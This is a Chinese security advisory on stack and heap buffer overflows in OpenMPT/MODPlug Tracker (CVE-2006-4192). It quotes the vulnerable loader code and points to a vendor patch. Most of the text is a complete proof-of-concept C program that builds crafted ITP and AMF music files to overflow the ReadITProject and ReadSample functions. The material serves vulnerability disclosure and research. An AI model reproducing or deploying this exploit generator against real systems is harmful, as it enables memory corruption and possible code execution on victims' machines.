安全研究
安全漏洞
MODPlug Tracker多个缓冲区溢出漏洞
发布日期:2006-08-09
更新日期:2006-11-03
受影响系统:
MODPlug Central OpenMPT <= 1.17.02.43描述:
Olivier Lapicque libmodplug <= 0.8
BUGTRAQ ID: 19448
CVE(CAN) ID: CVE-2006-4192
MODPlug Tracker(也称为OpenMPT)允许用户在基于Windows的PC上创建音乐。
OpenMPT的ReadITProject函数没有过滤ITP文件中的文本字段,允许攻击者覆盖全局变量,执行恶意代码。请注意libmodplug中不支持ITP文件。
soundlib/Load_it.cpp中的漏洞代码:
BOOL CSoundFile::ReadITProject(LPCBYTE lpStream, DWORD dwMemLength)
{
...
// Song name
// name string length
memcpy(&id,lpStream+streamPos,sizeof(DWORD));
len = id;
streamPos += sizeof(DWORD);
// name string
memcpy(&m_szNames[0],lpStream+streamPos,len);
streamPos += len;
...
(other overflows)
...
此外,攻击者还可以通过无效的nLength值触发ReadSample函数的多个模块中的堆溢出。如下所示nLength每次增加6字节(mem),在某些情况下会将这个值乘以2,然后将得到的值用于分配pIns->pSample。如果攻击者能够强制程序分配0字节的话,就会通过memcpy指令溢出内存。
soundlib/Sndfile.cpp中的漏洞代码:
UINT CSoundFile::ReadSample(MODINSTRUMENT *pIns, UINT nFlags, LPCSTR lpMemFile, DWORD dwMemLength)
//------------------------------------------------------------------------------------------------
{
UINT len = 0, mem = pIns->nLength+6;
if ((!pIns) || (pIns->nLength < 4) || (!lpMemFile)) return 0;
if (pIns->nLength > MAX_SAMPLE_LENGTH) pIns->nLength = MAX_SAMPLE_LENGTH;
...
if ((pIns->pSample = AllocateSample(mem)) == NULL)
...
default:
len = pIns->nLength;
if (len > dwMemLength) len = pIns->nLength = dwMemLength;
memcpy(pIns->pSample, lpMemFile, len);
}
...
<*来源:Luigi Auriemma (aluigi@pivx.com)
链接:http://secunia.com/advisories/22658/
http://aluigi.altervista.org/adv/mptho-adv.txt
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#ifdef WIN32
#include <winsock.h> // htonl
#else
#include <netinet/in.h>
#endif
#define VER "0.1"
#define HEAPOVERSZ 512
#define ITPHEAPOVERSZ 150000
#define ALLOCSAMPLESZ ((39 & ~7) + 16)
#define SONG_ITPROJECT 0x20000
void fwbof(FILE *fd, int len, int chr);
void fwi32(FILE *fd, int num);
void std_err(void);
#pragma pack(1)
typedef struct {
uint8_t sign[35];
uint8_t patterns;
uint8_t orders;
uint8_t dunno1;
uint8_t dunno2[256];
} amf_head_t;
typedef struct {
uint8_t name[22];
uint8_t finetune;
uint8_t volume;
uint8_t dunno1;
uint32_t length;
uint32_t reppos;
uint32_t replen;
} amf_smp_t;
#pragma pack()
int main(int argc, char *argv[]) {
amf_head_t amf_head;
amf_smp_t amf_smp;
FILE *fd;
int i,
attack;
char *fname;
setbuf(stdout, NULL);
fputs("\n"
"OpenMPT <= 1.17.02.43 and SVN <= 157 stack and heap overflows "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <attack> <output_file>\n"
"\n"
"Attacks:\n"
" 1 = various global buffer overflows in ReadITProject (*.ITP)\n"
" 2 = heap overflow in ReadSample (*.AMF)\n"
"\n", argv[0]);
exit(1);
}
attack = atoi(argv[1]);
fname = argv[2];
printf("- create file %s\n", fname);
fd = fopen(fname, "wb");
if(!fd) std_err();
if(attack == 1) {
fwi32(fd, 0x2e697470); // .itp
fwi32(fd, 0x00000000); // version
fwi32(fd, ITPHEAPOVERSZ); // song name len
fwbof(fd, ITPHEAPOVERSZ, 'a'); // song name
fwi32(fd, 0); // comments len
fwi32(fd, SONG_ITPROJECT); // m_dwSongFlags
fwi32(fd, 128); // m_nDefaultGlobalVolume
fwi32(fd, 0); // m_nSongPreAmp
fwi32(fd, 0); // m_nDefaultSpeed
fwi32(fd, 0); // m_nDefaultTempo
fwi32(fd, 0); // m_nChannels
fwi32(fd, 0); // channel name len
// for(i=0; i<m_nChannels; i++){
fwi32(fd, 0); // LoadMixPlugins len
fwi32(fd, 0); // m_MidiCfg len
fwi32(fd, 0); // m_nInstruments
fwi32(fd, 0); // path instruments len
fwi32(fd, 0); // order len
fwi32(fd, 0); // number of patterns
fwi32(fd, 0); // m_nPatternNames
fwi32(fd, 0); // m_lpszPatternNames len
fwi32(fd, 0); // modcommand data length
fwi32(fd, 0); // m_nSamples
fwi32(fd, 0); // Read number of embeded samples
} else if(attack == 2) {
memset(&amf_head, 0, sizeof(amf_head));
memset(&amf_smp, 0, sizeof(amf_smp));
strcpy(amf_head.sign, "ASYLUM Music Format V1.0");
amf_head.patterns = 1;
amf_head.orders = 1;
fwrite(&amf_head, sizeof(amf_head), 1, fd);
for(i = 0; i < 64; i++) {
sprintf(amf_smp.name, "sample %d", i);
amf_smp.finetune = 0;
amf_smp.volume = 64;
amf_smp.length = ((0 - 6) - 39) + 16; // ReadSample and AllocateSample
amf_smp.reppos = 0;
amf_smp.replen = 0;
fwrite(&amf_smp, sizeof(amf_smp), 1, fd);
}
fwbof(fd, 64 * 32, 0x00);
fwbof(fd, ALLOCSAMPLESZ + HEAPOVERSZ, 'a');
}
fclose(fd);
printf("- finished\n");
return(0);
}
void fwbof(FILE *fd, int len, int chr) {
while(len--) fputc(chr, fd);
}
void fwi32(FILE *fd, int num) {
fputc((num ) & 0xff, fd);
fputc((num >> 8) & 0xff, fd);
fputc((num >> 16) & 0xff, fd);
fputc((num >> 24) & 0xff, fd);
}
void std_err(void) {
perror("\nError");
exit(1);
}
建议:
厂商补丁:
MODPlug Central
---------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://sourceforge.net/project/showfiles.php?group_id=1275
浏览次数:3508
严重程度:0(网友投票)
绿盟科技给您安全的保障
